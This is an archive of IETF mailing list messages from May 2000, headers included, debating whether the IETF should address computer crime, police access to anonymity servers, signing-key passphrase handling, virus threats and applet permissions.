	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA07579
	for <ietf@ietf.org>; Mon, 22 May 2000 14:34:34 -0400 (EDT)
Received: from [130.237.161.46] (dsvmc046.dsv.su.se [130.237.161.46])
	by unni.dsv.su.se (8.9.3+Sun/8.9.3) with ESMTP
	id UAA26890;
	Mon, 22 May 2000 20:34:31 +0200 (MET DST)
Mime-Version: 1.0
Message-Id: <v04210103b54f26125316@[130.237.150.138]>
In-Reply-To: 
 <20000522152156.1D32F35DC2@smb.research.att.com>
References: 
 <20000522152156.1D32F35DC2@smb.research.att.com>
Date: Mon, 22 May 2000 20:01:10 +0200
To: "Steven M. Bellovin" <smb@research.att.com>
From: Jacob Palme <jpalme@DSV.SU.SE>
Subject: Re: Should IETF do more to fight computer crime?
Cc: IETF general mailing list <ietf@ietf.org>
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

Does there exist a mailinglist specially oriented towards
cybercrime and its prevention? If not, should we start such
a list?
-- 
Jacob Palme <jpalme@dsv.su.se> (Stockholm University and KTH)
for more info see URL: http://www.dsv.su.se/jpalme/



From owner-ietf-outbound  Mon May 22 14:50:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA07809
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 14:50:02 -0400 (EDT)
Received: from unni.dsv.su.se (unni.dsv.su.se [130.237.161.27])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA07586
	for <ietf@ietf.org>; Mon, 22 May 2000 14:34:38 -0400 (EDT)
Received: from [130.237.161.46] (dsvmc046.dsv.su.se [130.237.161.46])
	by unni.dsv.su.se (8.9.3+Sun/8.9.3) with ESMTP
	id UAA26940;
	Mon, 22 May 2000 20:34:37 +0200 (MET DST)
Mime-Version: 1.0
Message-Id: <v04210109b54f27459b46@[130.237.150.138]>
In-Reply-To: 
 <20000522152156.1D32F35DC2@smb.research.att.com>
References: 
 <20000522152156.1D32F35DC2@smb.research.att.com>
Date: Mon, 22 May 2000 20:14:36 +0200
To: IETF general mailing list <ietf@ietf.org>
From: Jacob Palme <jpalme@DSV.SU.SE>
Subject: Re: Should IETF do more to fight computer crime?
Cc: Fredrik Björck <bjorck@DSV.SU.SE>, Mats Wiklund <matsw@DSV.SU.SE>
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8bit
Content-Transfer-Encoding: 8bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

At 11.21 -0400 0-05-22, Steven M. Bellovin wrote:
> In short -- yes, there are problems, but the best approach for the IETF
> is to design, build, and deploy stronger systems.

But would not better logg production in routers be an aid
in finding the villain behind computer crimes?
-- 
Jacob Palme <jpalme@dsv.su.se> (Stockholm University and KTH)
for more info see URL: http://www.dsv.su.se/jpalme/



From owner-ietf-outbound  Mon May 22 15:00:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA07973
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 15:00:03 -0400 (EDT)
Received: from unni.dsv.su.se (unni.dsv.su.se [130.237.161.27])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA07593
	for <ietf@ietf.org>; Mon, 22 May 2000 14:34:39 -0400 (EDT)
Received: from [130.237.161.46] (dsvmc046.dsv.su.se [130.237.161.46])
	by unni.dsv.su.se (8.9.3+Sun/8.9.3) with ESMTP
	id UAA26947;
	Mon, 22 May 2000 20:34:38 +0200 (MET DST)
Mime-Version: 1.0
Message-Id: <v0421010ab54f27b8b658@[130.237.150.138]>
In-Reply-To: 
 <4.3.1.2.20000521224400.03f285d0@dokka.kvatro.no>
References: 
 <4.3.1.2.20000521224400.03f285d0@dokka.kvatro.no>
Date: Mon, 22 May 2000 20:14:55 +0200
To: IETF general mailing list <ietf@ietf.org>
From: Jacob Palme <jpalme@DSV.SU.SE>
Subject: Re: Should IETF do more to fight computer crime?
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 22.52 +0200 0-05-21, Harald Tveit Alvestrand wrote:
> They're making cooperation, whether we want it or not.
> Not an IETF problem.

Maybe not an IETF problem, but the way we act when the
police come should be discussed either in IETF or in
ISOC.

A well-known example from some years ago. A very popular
so-called anonymity server was running in Helsinki.
(I would rather designate it as a pseuodynymity server.)
Its data base know who was behind each pseudonym,
and used this to allow the forwarding of e-mail to
pseudonyms. The anonymity server sent such messages
along to the real e-mail address, but without divulging
what that address was.

Now came the scientology church. They are very against
all kinds of discussions and divulging of information
about them to outsiders. Someone had used the anonymity
server in Helsinki to distribute, on a usenet group,
information which the scientologists did not like.

They went to the police (in the USA) saying that this
person had infringed on their copyright by publishing
their secret documents on Usenet. The police in the
USA contacted the police in Finland. The police in
Finland went to the anonymity server and gave him
to choices: Either we take the whole server, or you
tell us who is behind this pseudonym. He told them
under duress who it was. But shortly after that, he
shut down the server.

Should the Finnish police really have done this?

Should he have accepted their requests, or should
he have called a lawyer and tried to move the issue
of whehter to divulge this information into the
courts in Finland?
-- 
Jacob Palme <jpalme@dsv.su.se> (Stockholm University and KTH)
for more info see URL: http://www.dsv.su.se/jpalme/



From owner-ietf-outbound  Mon May 22 15:10:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA08230
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 15:10:02 -0400 (EDT)
Received: from gungnir.fnal.gov (gungnir.fnal.gov [131.225.80.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA07685
	for <ietf@ietf.org>; Mon, 22 May 2000 14:41:19 -0400 (EDT)
Received: from gungnir.fnal.gov (localhost [127.0.0.1])
	by gungnir.fnal.gov (8.9.1/8.9.1) with ESMTP id NAA11652;
	Mon, 22 May 2000 13:41:18 -0500 (CDT)
Message-Id: <200005221841.NAA11652@gungnir.fnal.gov>
To: James Salsman <james@bovik.org>
Cc: ietf@ietf.org
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: asynchronous audio conferencing at www.wimba.com
Date: Mon, 22 May 2000 13:41:17 -0500
Sender: crawdad@gungnir.fnal.gov
X-Loop: ietf@ietf.org

As a linguistic exercise, you might reconcile this message, which you
get when you refuse to grant their applets read/write/delete/execute
access to all your files:

  In order to run the Wimba forums application, you will need to
  grant our applet a certain number of privileges. Our applet is
  signed to reassure you of its authenticity and safety. You can
                   trust our applet.


with their terms of use:

   c.ANY MATERIAL DOWNLOADED OR OTHERWISE OBTAINED THROUGH THE USE OF
     THE SERVICE IS DONE AT YOUR OWN DISCRETION AND RISK AND THAT YOU WILL
     BE SOLELY RESPONSIBLE FOR ANY DAMAGE TO YOUR COMPUTER SYSTEM OR LOSS
     OF DATA THAT RESULTS FROM THE DOWNLOAD OF ANY SUCH MATERIAL.

   d.NO ADVICE OR INFORMATION, WHETHER ORAL OR WRITTEN, OBTAINED BY YOU
     FROM WIMBA OR THROUGH OR FROM THE SERVICE SHALL CREATE ANY WARRANTY
     NOT EXPRESSLY STATED IN THE AGREEMENT.

 15. LIMITATION OF LIABILITY 

    YOU EXPRESSLY UNDERSTAND AND AGREE THAT WIMBA SHALL NOT BE LIABLE FOR
    ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, CONSEQUENTIAL OR EXEMPLARY
    DAMAGES, INCLUDING BUT NOT LIMITED TO, DAMAGES FOR LOSS OF PROFITS,
    GOODWILL, USE, DATA OR OTHER INTANGIBLE LOSSES (EVEN IF WIMBA HAS BEEN
    ADVISED OF THE POSSIBILITY OF SUCH DAMAGES), RESULTING FROM: (i) THE USE OR
    THE INABILITY TO USE THE SERVICE; ...



From owner-ietf-outbound  Mon May 22 15:20:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA08428
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 15:20:03 -0400 (EDT)
Received: from dirty.research.bell-labs.com (ns1.research.bell-labs.com [204.178.16.6])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA07900
	for <ietf@ietf.org>; Mon, 22 May 2000 14:58:02 -0400 (EDT)
Received: from scummy.research.bell-labs.com ([135.104.2.10]) by dirty; Mon May 22 14:57:12 EDT 2000
Received: from starling.research.bell-labs.com ([135.104.26.187]) by scummy; Mon May 22 14:57:11 EDT 2000
Received: from research.bell-labs.com (blmhbossy-pc.research.bell-labs.com [135.104.26.103])
	by starling.research.bell-labs.com (8.9.1/8.9.1) with ESMTP id OAA13464;
	Mon, 22 May 2000 14:57:08 -0400 (EDT)
Message-ID: <39298304.BF55E0C1@research.bell-labs.com>
Date: Mon, 22 May 2000 14:57:08 -0400
From: Tom Limoncelli <tal@research.bell-labs.com>
Organization: Division of division division.
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Eric Brunner <brunner@world.std.com>
CC: http-state@lists.bell-labs.com, www-p3p-interop@W3.ORG, ietf@ietf.org,
        mozilla-general@mozilla.org, dmk@research.bell-labs.com
Subject: Re: [HTTP-State] New mailing list for data protection & privacy (cookies 
 et al)
References: <200005221630.MAA05537@world.std.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Just a small correction.  The http-state mailing list is David Kristol's,
not mine.  I'm simply his humble sysadmin that hosts the list.

--tal

Eric Brunner wrote:
> 
> I've set up a mailing list for discussion of policy implications of http
> cookies, and other persistent session artifacts which may be used as
> identifiers. We've list(s) for discussion of the mechanism(s), e.g., Tom
> Limoncelli's http-state list, the W3C P3P interop list, the mozilla general
> list, and of course the overworked ietf general list. These all tend to
> progress towards implementations, not towards user documentation.
> 
> What I'd like to see is something along the lines of a draft in the IETF's
> User Services Area which is updated to reflect the changes of mechanism(s)
> employed, and what effect these have for user data protection and on-line
> privacy, modified for the browser, host and "idiot's guide" genre of user
> documentation. Rather than write a -00.txt draft first, then solicit any
> technical contributions, I've set up the contribution list first.
> 
> Writing for the IESG, Keith Moore and Ned Freed have produced "Use of HTTP
> State Management" <draft-iesg-http-cookies-03.txt>, intended as a BCP RFC.
> This is a step in the right direction, and one that can be improved upon
> and made "accessible" to the general reader.
> 
> To subscribe, simply send mail to:
> 
>         cookie-cutters-request@world.std.com
> 
> The usual majordomo rules apply.
> 
> Cheers,
> Eric
> 
> _______________________________________________
> HTTP-State mailing list
> HTTP-State@lists.bell-labs.com
> http://lists.bell-labs.com/mailman/listinfo/http-state



From owner-ietf-outbound  Mon May 22 15:30:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA08666
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 15:30:03 -0400 (EDT)
Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA08249
	for <ietf@ietf.org>; Mon, 22 May 2000 15:10:16 -0400 (EDT)
Received: (from bovik@localhost)
	by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id MAA02199;
	Mon, 22 May 2000 12:09:49 -0700 (PDT)
Date: Mon, 22 May 2000 12:09:49 -0700 (PDT)
From: "James P. Salsman" <bovik@best.com>
Message-Id: <200005221909.MAA02199@shell9.ba.best.com>
To: crawdad@fnal.gov
Subject: Re: asynchronous audio conferencing at www.wimba.com
Cc: ietf@ietf.org
In-Reply-To: <200005221841.NAA11652@gungnir.fnal.gov>
X-Loop: ietf@ietf.org

Matt,

Thanks for your message:

> As a linguistic exercise, you might reconcile this message, which you
> get when you refuse to grant their applets read/write/delete/execute
> access to all your files:
> 
>   In order to run the Wimba forums application, you will need to
>   grant our applet a certain number of privileges. Our applet is
>   signed to reassure you of its authenticity and safety. You can
>                    trust our applet.
> 
> with their terms of use:
> 
>    c.ANY MATERIAL DOWNLOADED OR OTHERWISE OBTAINED THROUGH THE USE OF
>      THE SERVICE IS DONE AT YOUR OWN DISCRETION AND RISK...

When is the last time a so-called "self-extracting archive" 
(more and more of which are actually unsigned installer applications) 
asked and respected your permission to read your files?  The 
microphone in Java is probably in the same category of file sources 
as the file system.  I wish Sun would have the good sense to make 
microphone input a seperate sandbox security category so that systems 
like Wimba wouldn't have to ask for multiple seemingly unrelated and 
forboding-sounding permissions.

How do you reconcile the use restrictions at www.tutor.com (e.g., 
against Cuba and wherever else the U.S. State Department says) with
articles 26 and 27 of the Universal Declaration of Human Rights?

Cheers,
James



From owner-ietf-outbound  Mon May 22 15:40:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA08905
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 15:40:03 -0400 (EDT)
Received: from mail-blue.research.att.com (mail-blue.research.att.com [135.207.30.102])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA08308
	for <ietf@ietf.org>; Mon, 22 May 2000 15:15:19 -0400 (EDT)
Received: from postal.research.att.com (postal.research.att.com [135.207.23.30])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id 8DBFC4CE01; Mon, 22 May 2000 15:15:19 -0400 (EDT)
Received: from smb.research.att.com (postal.research.att.com [135.207.23.30])
	by postal.research.att.com (8.8.7/8.8.7) with ESMTP id PAA11506;
	Mon, 22 May 2000 15:15:19 -0400 (EDT)
Received: from smb.research.att.com (localhost.research.att.com [127.0.0.1])
	by smb.research.att.com (Postfix) with ESMTP
	id 2421535DC2; Mon, 22 May 2000 15:15:12 -0400 (EDT)
X-Mailer: exmh version 2.1.1 10/15/1999
From: "Steven M. Bellovin" <smb@research.att.com>
To: Jacob Palme <jpalme@DSV.SU.SE>
Cc: IETF general mailing list <ietf@ietf.org>
Subject: Re: Should IETF do more to fight computer crime? 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 22 May 2000 15:15:12 -0400
Sender: smb@research.att.com
Message-Id: <20000522191512.2421535DC2@smb.research.att.com>
X-Loop: ietf@ietf.org

In message <v04210103b54f26125316@[130.237.150.138]>, Jacob Palme writes:
>Does there exist a mailinglist specially oriented towards
>cybercrime and its prevention? If not, should we start such
>a list?

I don't know of any such list.  But -- as we've learned in the IETF 
about working group charters -- unless it's very narrowly focused, it's 
just going to turn into a flamefest, and won't contribute at all to any 
real solutions.  For example, the techniques necessary to deal with 
DDoS flooding attacks are not at all related to the techniques that one 
would use to combat your favorite form of "illegal" content (kiddie 
porn, Nazi propaganda, Metallica MP3s, truthful and accurate 
information about the local dictatorship, etc.).

		--Steve Bellovin




From owner-ietf-outbound  Mon May 22 15:50:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA09081
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 15:50:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA08351
	for <ietf@ietf.org>; Mon, 22 May 2000 15:18:03 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id PAA28570;
        Mon, 22 May 2000 15:17:57 -0400 (EDT)
Message-Id: <200005221917.PAA28570@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Bertrand.Ibrahim@cui.unige.ch
cc: "Steven M. Bellovin" <smb@research.att.com>,
        Jacob Palme <jpalme@DSV.SU.SE>,
        IETF general mailing list <ietf@ietf.org>
Subject: Re: Should IETF do more to fight computer crime? 
In-reply-to: Your message of "Mon, 22 May 2000 18:28:23 +0200."
             <0FUY002KBZ3DIG@cuimail.unige.ch> 
Date: Mon, 22 May 2000 15:17:57 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> I would hope that any software I use, that is able to put my digital 
> signature on some data, would ask me for my pass-phrase every time 
> my private key is used.

and I would hope that any software I used would not offer to execute
content that could have harmful side effects, without first warning
me in very clear language that this could happen.

software in the real world rarely does all that is hoped for.

Keith



From owner-ietf-outbound  Mon May 22 17:00:48 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA09701
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 17:00:01 -0400 (EDT)
Received: from cuimail.unige.ch (cuimail.unige.ch [129.194.69.50])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA09667
	for <ietf@ietf.org>; Mon, 22 May 2000 16:53:38 -0400 (EDT)
From: Bertrand.Ibrahim@cui.unige.ch
Received: from cuimail.unige.ch ([129.194.69.17])
 by cuimail.unige.ch (PMDF V5.2-32 #37942)
 with ESMTP id <0FUZ00E2NBDD36@cuimail.unige.ch> for ietf@ietf.org; Mon,
 22 May 2000 22:53:37 +0200 (MET DST)
X-URL: http://cui.unige.ch/eao/www/Bertrand.html
Date: Mon, 22 May 2000 22:53:37 +0200
X-Face: $LChH{%os*16AP:(5pI<*1fqtXx?14aOqKLUfv{>&:+,G6Y+ei9aTSM:D,ie2w=~vr9nsSj
 FY4bH+)|=<_V|1@4";>_aJ}QxqfL['1]O3i`)wmc]#,^4Ny#&_|k?EEcrb7aIle|fs742v:5WjNM9#
 ufe5itBNu-z*[']\@b|ut#z,r8b#ax^CsUUku2I#bgvZ&XxZ/kc#7Gi{5OB%h88yly"YZG*u}jD^tL
 wUfdV#%YU.|hU|HEOfSCGxb
Subject: Re: Should IETF do more to fight computer crime?
To: IETF general mailing list <ietf@ietf.org>
Message-id: <0FUZ00E2OBDD36@cuimail.unige.ch>
MIME-version: 1.0
X-Mailer: exmh version 2.0.2 2/24/98
Content-type: text/plain; charset=us-ascii
X-Loop: ietf@ietf.org

"Steven M. Bellovin" <smb@research.att.com> said:
> in the Holy Name of Convenience, many (most?) mailers  permit a
> passphrase to be cached for some amount of time.  A virus  could
> exploit that.

Ok. So, you're reasoning on the assumption that the user and her system 
enginer are both incompetent, that the software being used cannot be trusted
and that a virus is potentially already active on the user's system. Under 
such assumptions, what do you foresee as a possible solution?

When I said:
>I would hope that any software I use, that is able to put my digital signature
>on some data, would ask me for my pass-phrase every time my private key is 
>used.

I meant that these were my requirements for a reliable system. But, unless I
were to be provided with all the sources and took the time to carefully analyze
them, I would, in the end, still be relying on somebody else's "promise" that
the software doesn't do anything stupid with my private key. The least I could
do, though, is to check that the system I use at least pretends to be doing 
what I consider safe to do. Still, when I disable scripting in my mail user 
agent and my browser, can I be 100% sure that no script will ever be executed?

"Steven M. Bellovin" <smb@research.att.com> also said:
> A virus [snip] could wait until you tried sending
> some  signed mail, and grab the key then.  It could even wait, and
> then pop  up its own key window that masquerades as the real one,
> followed by a  box saying that you entered your passphrase
> incorrectly, and that you  should retry it, in the real prompt.  There
> are operating system  techniques that can prevent that latter attack,
> such as the "trusted  path".

Interesting. Do you have a reference (preferably a URL) that describes the
"trusted path" technique?

Peace,

Bertrand Ibrahim.
--------------------------------------------
Bertrand.Ibrahim@cui.unige.ch
http://cui.unige.ch/eao/www/Bertrand.html



From owner-ietf-outbound  Mon May 22 17:40:26 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA10225
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 17:40:02 -0400 (EDT)
Received: from tsx-prime.MIT.EDU (TSX-PRIME.MIT.EDU [18.86.0.76])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA10113
	for <ietf@ietf.org>; Mon, 22 May 2000 17:33:07 -0400 (EDT)
Received: by tsx-prime.MIT.EDU 
	with sendmail-SMI-8.6/1.2, id RAA05440; Mon, 22 May 2000 17:29:33 -0400
Date: Mon, 22 May 2000 17:29:33 -0400
Message-Id: <200005222129.RAA05440@tsx-prime.MIT.EDU>
From: "Theodore Y. Ts'o" <tytso@MIT.EDU>
To: Jacob Palme <jpalme@DSV.SU.SE>
CC: IETF general mailing list <ietf@ietf.org>
In-reply-to: Jacob Palme's message of Mon, 22 May 2000 20:14:55 +0200,
	<v0421010ab54f27b8b658@[130.237.150.138]>
Subject: Re: Should IETF do more to fight computer crime?
Phone: (781) 391-3464
X-Loop: ietf@ietf.org

   Date: Mon, 22 May 2000 20:14:55 +0200
   From: Jacob Palme <jpalme@dsv.su.se>

   They went to the police (in the USA) saying that this
   person had infringed on their copyright by publishing
   their secret documents on Usenet. The police in the
   USA contacted the police in Finland. The police in
   Finland went to the anonymity server and gave him
   to choices: Either we take the whole server, or you
   tell us who is behind this pseudonym. He told them
   under duress who it was. But shortly after that, he
   shut down the server.

   Should the Finnish police really have done this?

   Should he have accepted their requests, or should
   he have called a lawyer and tried to move the issue
   of whehter to divulge this information into the
   courts in Finland?

This is a social issue, and not a technical issue.  You might want to
consider asking this question in an EFF forum, instead of the IETF
mailing list.

						- Ted



From owner-ietf-outbound  Mon May 22 19:30:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA11138
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 19:30:02 -0400 (EDT)
Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA11039
	for <ietf@ietf.org>; Mon, 22 May 2000 19:21:42 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id RAA20825
	for ietf@ietf.org  env-from <vjs>;
	Mon, 22 May 2000 17:21:41 -0600 (MDT)
Date: Mon, 22 May 2000 17:21:41 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200005222321.RAA20825@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: Re: Should IETF do more to fight computer crime?
X-Loop: ietf@ietf.org

> From: Bertrand.Ibrahim@cui.unige.ch

> > in the Holy Name of Convenience, many (most?) mailers  permit a
> > passphrase to be cached for some amount of time.  A virus  could
> > exploit that.
>
> Ok. So, you're reasoning on the assumption that the user and her system 
> enginer are both incompetent, that the software being used cannot be trusted
> and that a virus is potentially already active on the user's system.

Without belaboring whether the word "incompetent" is appropriate (I
think it is), what is the difference between that hypothetical and
the current real world?  Almost all of the bazillions of flavors of
Microsoft virus are based on that same Holy Name of User Friendliness.
No competently designed or implemented system since at least a decade
before those three guys hacked that BASIC interpretor in about 1973
has had the design holes that infest--uh--enhance the user's experience
of all flavors of Windows as installed by default through at least
Windows 98 SE and Window NT 4.0+service pack 6.

> I meant that these were my requirements for a reliable system. But, unless I
>were to be provided with all the sources and took the time to carefully analyze
> them, I would, in the end, still be relying on somebody else's "promise" that
> the software doesn't do anything stupid with my private key.....

Do you momentarily cringe when you give your car keys to a mechanic or
parking attendant?  Do you give your house keys to every stranger who
expresses an interest in cleaning your drapes or checking your closets
for snipes?  How can one not expect to need to perform similar due
diligence with the keys to your data?


Vernon Schryver    vjs@rhyolite.com



From owner-ietf-outbound  Mon May 22 21:20:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA11923
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 21:20:03 -0400 (EDT)
Received: from unni.dsv.su.se (unni.dsv.su.se [130.237.161.27])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA11864
	for <ietf@ietf.org>; Mon, 22 May 2000 21:11:00 -0400 (EDT)
Received: from [130.237.161.46] (dsvmc046.dsv.su.se [130.237.161.46])
	by unni.dsv.su.se (8.9.3+Sun/8.9.3) with ESMTP
	id DAA08495;
	Tue, 23 May 2000 03:11:00 +0200 (MET DST)
Mime-Version: 1.0
Message-Id: <v04210106b54f89d2be52@[130.237.161.46]>
In-Reply-To: <0FUY002KBZ3DIG@cuimail.unige.ch>
References: <0FUY002KBZ3DIG@cuimail.unige.ch>
Date: Tue, 23 May 2000 03:09:28 +0200
To: IETF general mailing list <ietf@ietf.org>
From: Jacob Palme <jpalme@DSV.SU.SE>
Subject: Re: Should IETF do more to fight computer crime?
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 18.28 +0200 0-05-22, Bertrand.Ibrahim@cui.unige.ch wrote:
>I would hope that any software I use, that is able to put
>my digital signature on some data, would ask me for my
>pass-phrase every time my private key is used. I would
>even hope that such software wouldn't be able to use my
>private key without the pass-phrase, otherwise anybody
>with access to my computer could easily forge my signature.

It is not easy to design encryption software which cannot
be corrupted by viruses. A virus could catch your passphrase,
and then use it itself for nefarious purposes. That is why
many people want to use smart cards. But I am not sure they
are secure. A virus could catch the communication to and
from your smart card. And developers of smart cards seem
to want to put so much functionality in the card itself,
that it becomes open to viruses in itself.

-- 
Jacob Palme <jpalme@dsv.su.se> (Stockholm University and KTH)
for more info see URL: http://www.dsv.su.se/jpalme/



From owner-ietf-outbound  Mon May 22 21:30:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA12009
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 21:30:03 -0400 (EDT)
Received: from unni.dsv.su.se (unni.dsv.su.se [130.237.161.27])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA11875
	for <ietf@ietf.org>; Mon, 22 May 2000 21:11:11 -0400 (EDT)
Received: from [130.237.161.46] (dsvmc046.dsv.su.se [130.237.161.46])
	by unni.dsv.su.se (8.9.3+Sun/8.9.3) with ESMTP
	id DAA08513;
	Tue, 23 May 2000 03:11:11 +0200 (MET DST)
Mime-Version: 1.0
Message-Id: <v04210104b54f87a63bb9@[130.237.161.46]>
In-Reply-To: <200005221917.PAA28570@astro.cs.utk.edu>
References: <200005221917.PAA28570@astro.cs.utk.edu>
Date: Tue, 23 May 2000 03:13:33 +0200
To: IETF general mailing list <ietf@ietf.org>
From: Jacob Palme <jpalme@DSV.SU.SE>
Subject: Re: Should IETF do more to fight computer crime?
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 15.17 -0400 0-05-22, Keith Moore wrote:
>> I would hope that any software I use, that is able to put my digital
>> signature on some data, would ask me for my pass-phrase every time
>> my private key is used.
>
> and I would hope that any software I used would not offer to execute
> content that could have harmful side effects, without first warning
> me in very clear language that this could happen.
>
> software in the real world rarely does all that is hoped for.

That would mean that every time you execute any program, you would
have to get an analysis of its possible harmful effects and decide
whether to accept it. Possibly, the system could be designed so
that a checksum is stored with every executable program, and you
do not have to answer this question if the checksum has not
changed since the last time you executed the same program.

Unfortunately, it is not always easy to avoid executing programs
with harmful content. Especially troublesome are installation
programs, which very often install things you do not want (such
as older versions of software you already have newer versions of,
or modules you do not want). America Online is especially well-
known for this, and unfortunately, since they bought Netscape,
they have added unwanted installation also to Netscape itself.
-- 
Jacob Palme <jpalme@dsv.su.se> (Stockholm University and KTH)
for more info see URL: http://www.dsv.su.se/jpalme/



From owner-ietf-outbound  Mon May 22 23:00:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA14399
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 23:00:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA14340
	for <ietf@ietf.org>; Mon, 22 May 2000 22:51:11 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e4N2pBn29080;
	Mon, 22 May 2000 22:51:11 -0400
Message-Id: <200005230251.e4N2pBn29080@black-ice.cc.vt.edu>
To: Jacob Palme <jpalme@DSV.SU.SE>
cc: IETF general mailing list <ietf@ietf.org>
Subject: Re: Should IETF do more to fight computer crime? 
In-reply-to: Your message of "Tue, 23 May 2000 03:13:33 +0200."
             <v04210104b54f87a63bb9@[130.237.161.46]> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <200005221917.PAA28570@astro.cs.utk.edu>
            <v04210104b54f87a63bb9@[130.237.161.46]>
Date: Mon, 22 May 2000 22:51:10 -0400
X-Loop: ietf@ietf.org

On Tue, 23 May 2000 03:13:33 +0200, Jacob Palme <jpalme@dsv.su.se>  said:
> That would mean that every time you execute any program, you would
> have to get an analysis of its possible harmful effects and decide
> whether to accept it. Possibly, the system could be designed so
> that a checksum is stored with every executable program, and you
> do not have to answer this question if the checksum has not
> changed since the last time you executed the same program.

This idea isn't as secure as it seems.  For any given useful
program 'foobar' that you are invoking again, you probably have
different input data (otherwise, why are you bothering running
it again to get the same result as last time? ;)

Remember that in 98% of the now-boring 'Yet Another Buffer Overflow'
cases, the checksum and permitted actions for the program were
unchanged, had been unchanged for possibly YEARS - but the program
coughs up a hairball when stressed with different input data.

				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Tue May 23 02:51:02 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA27849
	for ietf-outbound.10@ietf.org; Tue, 23 May 2000 02:50:02 -0400 (EDT)
Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA27794
	for <ietf@ietf.org>; Tue, 23 May 2000 02:41:34 -0400 (EDT)
Received: from alpha ([209.138.202.17])
	by smtp10.atl.mindspring.net (8.9.3/8.8.5) with ESMTP id CAA30025;
	Tue, 23 May 2000 02:41:29 -0400 (EDT)
Message-Id: <4.2.0.58.20000523004016.00965af0@pop.mindspring.com>
X-Sender: eidetic@pop.mindspring.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
